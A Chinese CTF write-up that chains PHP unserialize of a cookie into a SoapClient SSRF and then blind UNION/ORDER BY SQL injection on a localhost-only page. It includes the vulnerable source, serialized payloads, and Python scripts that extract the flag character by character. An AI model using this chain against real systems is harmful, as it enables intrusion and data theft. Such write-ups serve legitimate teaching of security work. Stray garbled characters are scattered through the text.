這是從暨南大學(xué)2018校賽的一道CTF題學(xué)習(xí)到的姿勢
適用條件:服務(wù)器開了soap服務(wù)呛占,允許soap數(shù)據(jù)的交互,并且有可控的點(diǎn)調(diào)用了反序列化疹味,此時(shí)可以強(qiáng)行反序列化去調(diào)用soapclient類進(jìn)行SSRF
以題目為例
phpinfo可以看出開了soap帜篇,實(shí)際滲透測試可以盲測,假設(shè)開啟洪灯,并看到有反序列化特征的參數(shù)竟痰,可以直接盲測
這道題還給了index.php和sqldebug.php的部分源碼
index.php
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(-1);
class Auth {
public $username = '';
public $login = 0;
public function verify() {
return 'FALSE';
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h1>Login</h1>
<form action="" method="POST">
<table>
<tr>
<td>Username</td>
<td><input type="text" name="username"></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td>Remember me <input type="checkbox" name="rememberme"></td>
<td><input type="submit" value="Submit"></td>
</tr>
</table>
</form>
<p>
<?php
if (isset($_POST['username'])) {
$auth = new Auth();
$auth->username = $_POST['username'];
setcookie('auth', base64_encode(serialize($auth)));
} elseif (isset($_COOKIE['auth'])) {
$auth = unserialize(base64_decode($_COOKIE['auth']));
}
if (isset($auth)) {
echo $auth->verify();
}
?>
</p>
</body>
</html>
sqldebug.php
<?php
include_once('db.php');
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
die('you need to be 127.0.0.1');
}
$uid = isset($_GET['uid']) ? $_GET['uid'] : 1;
if (preg_match('/information_schema|database|sleep|benchmark|select(\/\*|[\(`\x00-\x20])/i', $uid)) {
die('NONONO!');
}
$db = mysqli_connect('127.0.0.1', 'demo', MYSQL_PASSWORD, DB_NAME);
$sql = "SELECT * FROM `".TABLE_NAME."` WHERE `".COLUMN_ID."`='$uid'";
$result = $db->query($sql);
$result = $result->fetch_assoc();
echo $result[COLUMN_USERNAME];
mysqli_close($db);
?>
從源碼可以看到sqldebug過濾不嚴(yán)铅檩,可以注入
但是$_SERVER['REMOTE_ADDR'] !== '127.0.0.1'
無法繞過昧旨,只能SSRF
又看到index.php中$auth = unserialize(base64_decode($_COOKIE['auth']));
可控
那么我們可以強(qiáng)行調(diào)用php中的soapclient類祥得,來進(jìn)行SSRF
soapclient的調(diào)用可以參考文章
https://xz.aliyun.com/t/2148
對(duì)soap數(shù)據(jù)格式的理解可以用參考
https://www.cnblogs.com/JeffreySun/archive/2009/12/14/1623766.html
https://www.anquanke.com/post/id/153065
php關(guān)于soapclient的參考文檔
http://www.php.net/manual/zh/soapclient.soapclient.php
kali安裝soap擴(kuò)展啃沪,kali默認(rèn)php7
apt-get install php-soap
php -m | grep soap
因?yàn)轭}目環(huán)境是php5.6,那就kali安裝下php5.6
apt-get install apt-transport-https
curl https://packages.sury.org/php/apt.gpg | apt-key add
echo 'deb https://packages.sury.org/php/ stretch main' > /etc/apt/sources.list.d/deb.sury.org.list
apt-get update
apt-get -y install php5.6 libapache2-mod-php5.6 php5.6-mysql php5.6-curl php5.6-gd php5.6-intl php-pear php-imagick php5.6-imap php5.6-mcrypt php-memcache php5.6-pspell php5.6-recode php5.6-sqlite3 php5.6-tidy php5.6-xmlrpc php5.6-xsl php5.6-mbstring php-gettext
apt-get -y install php5.6-soap
php5.6 -m | grep soap
先彈到自己vps缰雇,看看soapclient類是否能正常調(diào)用
soap.php
<?php
// $location = "http://127.0.0.1:80/sqldebug.php";
$location = 'http://178.128.15.64:2333/';
$a = new SoapClient(null, array('location' => $location ,'uri' => '123'));
echo serialize($a);
echo "\n";
echo "\n";
$auth= base64_encode(serialize($a));
echo $auth;
echo "\n";
echo "\n";
?>
運(yùn)行soap.php
$ php5.6 soap.php
O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:26:"http://178.128.15.64:2333/";s:13:"_soap_version";i:1;}
TzoxMDoiU29hcENsaWVudCI6Mzp7czozOiJ1cmkiO3M6MzoiMTIzIjtzOjg6ImxvY2F0aW9uIjtzOjI2OiJodHRwOi8vMTc4LjEyOC4xNS42NDoyMzMzLyI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO30=
burp的post報(bào)文
POST /index.php HTTP/1.1
Host: 35.221.144.41:8084
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://35.221.144.41:8084/index.php
Cookie: auth=TzoxMDoiU29hcENsaWVudCI6Mzp7czozOiJ1cmkiO3M6MzoiMTIzIjtzOjg6ImxvY2F0aW9uIjtzOjI2OiJodHRwOi8vMTc4LjEyOC4xNS42NDoyMzMzLyI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO30%3D
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
vps收到的報(bào)文
root@ubuntu16:~# nc -lvvv 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from [35.221.144.41] port 2333 [tcp/*] accepted (family 2, sport 38292)
POST / HTTP/1.1
Host: 178.128.15.64:2333
Connection: Keep-Alive
User-Agent: PHP-SOAP/5.6.37
Content-Type: text/xml; charset=utf-8
SOAPAction: "123#verify"
Content-Length: 369
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="123" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:verify/></SOAP-ENV:Body></SOAP-ENV:Envelope>
soapclient類成功被調(diào)用疏之,成功訪問到vps暇咆,然后會(huì)因?yàn)閟oapclient類沒有verify()方法而導(dǎo)致報(bào)錯(cuò),會(huì)默認(rèn)調(diào)用call方法其骄,但是已經(jīng)不影響我們調(diào)用soapclient來進(jìn)行SSRF
這里可惜的點(diǎn)是拯爽,soapclient默認(rèn)是用post钧忽,然后在xml中以xml格式來傳遞post參數(shù),但是我們在SSRF的時(shí)候桃煎,除非知道服務(wù)器wsdl的模板位置以及模板內(nèi)容大刊,才可以去構(gòu)造post參數(shù),不然一般只能在$location處對(duì)GET參數(shù)進(jìn)行注入等攻擊
$location = "http://127.0.0.1:80/sqldebug.php?uid=1'%23
注意這里的端口是80曲尸,而不是8084男翰,因?yàn)槭莇ocker映射的
注入部分就不細(xì)講了蛾绎,直接給出腳本
先判斷列數(shù),如果union select的列數(shù)不對(duì)租冠,index.php請求就會(huì)Internal Server Error
columns.py
#!/usr/bin/env python3
import requests
import base64
from urllib.parse import quote
url = "http://35.221.144.41:8084/index.php"
tpl = ["1"]
while True:
done = False
ssrfurl = "http://127.0.0.1/sqldebug.php?uid=1'and+0+union+select@a:=" + ','.join(
tpl) + "%23"
serial = 'O:10:"SoapClient":3:{s:3:"uri";s:3:"abc";s:8:"location";s:' + str(
len(ssrfurl)) + ':"' + ssrfurl + '";s:13:"_soap_version";i:1;}'
auth = quote(base64.b64encode(serial.encode()))
resp = requests.get(url, cookies={'auth': auth})
print(len(tpl))
if 'Internal Server Error' not in resp.text:
# print(resp.text)
break
tpl += ["1"]
一共有5列
注入得到flag顽爹,exp.py
#!/usr/bin/env python3
import requests
import binascii
import base64
from urllib.parse import quote
import sys
url = "http://35.221.144.41:8084/index.php"
for pos in [0, 2, 3, 4]:
tpl = ['0', "'<aaa></aaa>'", '0', '0', '0']
r = []
done = False
while not done and len(r) <= 40:
for c in range(0x19, 0x7F):
hexstr = bytes(r + [c])
tpl[pos] = '0x' + binascii.hexlify(hexstr).decode()
ssrfurl = "http://127.0.0.1/sqldebug.php?uid=" + sys.argv[1] + "'union+select@a:=" + ','.join(
tpl) + "+order+by+" + str(pos + 1) + "%23"
# print(ssrfurl)
serial = 'O:10:"SoapClient":3:{s:3:"uri";s:3:"abc";s:8:"location";s:' + str(
len(ssrfurl)) + ':"' + ssrfurl + '";s:13:"_soap_version";i:1;}'
auth = quote(base64.b64encode(serial.encode()))
resp = requests.get(url, cookies={'auth': auth})
if 'got no XML document' in resp.text:
if 0x19 == c:
done = True
else:
r += [c - 1]
break
print(pos+1, bytes(r))
通過測試捏题,uid=2對(duì)應(yīng)的幾個(gè)列分別是
COLUMN_ID = '2'(第1列)
COLUMN_xxx = ''(第2列,為空)
COLUMN_xxx = '99' (第3列)
COLUMN_PASSWORD = 'FLAG{UN10N_S313CT_0RD3R_13Y}'(第4列)
COLUMN_USERNAME = 'ADMIN@DEMO.COM'(第5列)
order by 注入的原理可以看我這篇文章
http://www.reibang.com/p/83d07d5c3af8
大致原理是select出一個(gè)字符串带射,再去order by 一個(gè)字段
由于后端只會(huì)顯示第一列循狰,所以數(shù)據(jù)庫會(huì)按照這兩個(gè)字符串的大小來排序
至于排序的規(guī)則是從左到右逐位比較ascii碼的大小,所以可以從左到右逐位遍歷灿里,最終得到該字段的值
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x2f,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x30,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x31,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x32,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x33,'<aaa></aaa>',0,0,0+order+by+1%23
1 b'2'
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3937,0,0+order+by+3%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3938,0,0+order+by+3%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3939,0,0+order+by+3%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x393a,0,0+order+by+3%23
3 b'99'
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304c,0+order+by+4%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304d,0+order+by+4%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304e,0+order+by+4%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304f,0+order+by+4%23
4 b'FLAG{UN10N'
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444b+order+by+5%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444c+order+by+5%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444d+order+by+5%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444e+order+by+5%23
5 b'ADM'
最后深大信安協(xié)會(huì)的師弟師妹們,給暨大友情測試了一波跪楞,tql
歡迎外校的師傅們多交流~